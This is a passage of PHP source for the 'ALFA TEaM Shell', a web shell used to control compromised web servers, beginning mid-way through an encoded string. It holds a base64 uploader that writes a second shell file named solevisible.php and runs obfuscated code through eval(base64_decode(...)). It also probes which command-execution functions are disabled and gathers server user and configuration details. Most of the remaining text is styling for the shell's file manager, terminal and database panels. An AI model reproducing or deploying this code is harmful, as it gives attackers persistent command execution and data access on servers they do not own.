2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\';\r\n$alfa_uploader = \'$x = base64_decode("\'.$GLOBALS[\'__ALFA_SHELL_CODE\'].\'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);\';\r\ndefine("ALFA_UPLOADER", "eval(base64_decode(\'".__ZW5jb2Rlcg($alfa_uploader)."\'))");\r\nif(!isset($_POST[\'ajax\'])){\r\nfunction Alfa_GetDisable_Function(){\r\n$disfun = @ini_get(\'disable_functions\');\r\n$afa = \'<span class="header_show_all">All Functions Accessible</span>\';\r\nif(empty($disfun))return($afa);\r\n$s = explode(\',\',$disfun);\r\n$s = array_unique($s);\r\n$i=0;\r\n$b=0;\r\n$func = array(\'system\',\'exec\',\'shell_exec\',\'proc_open\',\'popen\',\'passthru\',\'symlink\',\'dl\');\r\n$black_list = array();\r\n$allow_list = array();\r\nforeach($s as $d){\r\n\t$d=trim($d);\r\n\tif(empty($d)||!is_callable($d))continue;\r\n\tif(!function_exists($d)){\r\n\t\tif(in_array($d,$func)){\r\n\t\t\t$dis .= $d." | ";$b++;\r\n\t\t\t$black_list[] = $d;\r\n\t\t}else{\r\n\t\t\t$allow_list[] = $d;\r\n\t\t}\r\n\t\t$i++;\r\n\t}\r\n}\r\nif($i==0)return($afa);\r\nif($i <= count($func)){\r\n$all = array_values(array_merge($black_list, $allow_list));\r\nreturn(\'<span class="disable_functions">\'.implode(" | ", $all).\'</span>\');\r\n}\r\nreturn(\'<span class="disable_functions">\'.$dis.\'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\\\'GetDisFunc\\\',null,\\\'wp\\\');"><span class="header_show_all">Show All (\'.$i.\')</span></a>\');\r\n}\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho \'<script>\';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho \'alfa\'.$alfa."_=";\r\n}\r\necho \'""</script>\';\r\n}\r\nif(empty($_POST[\'charset\']))\r\n$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];\r\n$freeSpace = function_exists(\'diskfreespace\')?@diskfreespace($GLOBALS[\'cwd\']):\'?\';\r\n$totalSpace = function_exists(\'disk_total_space\')?@disk_total_space($GLOBALS[\'cwd\']):\'?\';\r\n$totalSpace = $totalSpace?$totalSpace:1;\r\n$on="<span class=\'header_on\'> ON </span>";\r\n$of="<span class=\'header_off\'> OFF </span>";\r\n$none="<span class=\'header_none\'> NONE </span>";\r\nif(function_exists(\'ssh2_connect\'))\r\n$ssh2=$on;\r\nelse\r\n$ssh2=$of;\r\nif(function_exists(\'curl_version\'))\r\n$curl=$on;\r\nelse\r\n$curl=$of;\r\nif(function_exists(\'mysql_get_client_info\')||class_exists(\'mysqli\'))\r\n$mysql=$on;\r\nelse\r\n$mysql=$of;\r\nif(function_exists(\'mssql_connect\'))\r\n$mssql=$on;\r\nelse\r\n$mssql=$of;\r\nif(function_exists(\'pg_connect\'))\r\n$pg=$on;\r\nelse\r\n$pg=$of;\r\nif(function_exists(\'oci_connect\'))\r\n$or=$on;\r\nelse\r\n$or=$of;\r\nif(@ini_get(\'disable_functions\'))\r\n$disfun=@ini_get(\'disable_functions\');\r\nelse\r\n$disfun="All Functions Enable";\r\nif(@ini_get(\'safe_mode\'))\r\n$safe_modes="<span class=\'header_off\'>ON</span>";\r\nelse\r\n$safe_modes="<span class=\'header_on\'>OFF</span>";\r\n$cgi_shell="<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>";\r\nif(@ini_get(\'open_basedir\')){\r\n$basedir_data = @ini_get(\'open_basedir\');\r\nif(strlen($basedir_data)>120){\r\n$open_b=substr($basedir_data,0, 120)."...";\r\n}else{\r\n$open_b = $basedir_data;\r\n}\r\n}else{$open_b=$none;}\r\nif(@ini_get(\'safe_mode_exec_dir\'))\r\n$safe_exe=@ini_get(\'safe_mode_exec_dir\');\r\nelse\r\n$safe_exe=$none;\r\nif(@ini_get(\'safe_mode_include_dir\'))\r\n$safe_include=@ini_get(\'safe_mode_include_dir\');\r\nelse\r\n$safe_include=$none;\r\nif(!function_exists(\'posix_getegid\'))\r\n{\r\n$user = function_exists("get_current_user")?@get_current_user():"????";\r\n$uid = function_exists("getmyuid")?@getmyuid():"????";\r\n$gid = function_exists("getmygid")?@getmygid():"????";\r\n$group = "?";\r\n}else{\r\n$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");\r\n$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");\r\n$user = $uid[\'name\'];\r\n$uid = $uid[\'uid\'];\r\n$group = $gid[\'name\'];\r\n$gid = $gid[\'gid\'];\r\n}\r\n$cwd_links = \'\';\r\n$path = explode("/", $GLOBALS[\'cwd\']);\r\n$n=count($path);\r\nfor($i=0; $i<$n-1; $i++) {\r\n$cwd_links .= "<a class=\'header_pwd\' onclick=\'g(\\"FilesMan\\",\\"";\r\n$cach_cwd_path = "";\r\nfor($j=0; $j<=$i; $j++){\r\n$cwd_links .= $path[$j].\'/\';\r\n$cach_cwd_path .= $path[$j].\'/\';\r\n}\r\n$cwd_links .= "\\")\' path=\'".$cach_cwd_path."\' href=\'#action=fileman&path=".$cach_cwd_path."\'>".$path[$i]."/</a>";\r\n}\r\n$drives = "";\r\nforeach(range(\'a\',\'z\') as $drive)\r\nif(@is_dir($drive.\':\\\\\'))\r\n$drives .= \'<a href="javascript:void(0);" class="header_drive" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n$csscode =\'\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;\';\r\necho \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n<head>\r\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r\n<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />\r\n<link href="\'.__showicon(\'alfamini\').\'" rel="icon" type="image/x-icon"/>\r\n<title>..:: \'.$_SERVER[\'HTTP_HOST\'].\' ~ ALFA TEaM Shell - v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ::..</title>\r\n<style type="text/css">\';?>\r\n.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}\r\n<?php echo \'\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{\'.$csscode.\'width:100px;height:100px;}\r\n#a_loader img{\'.$csscode.\'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\r\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:\'.alfa_getColor("header_values").\';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:\'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'0\':\'1\').\'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox 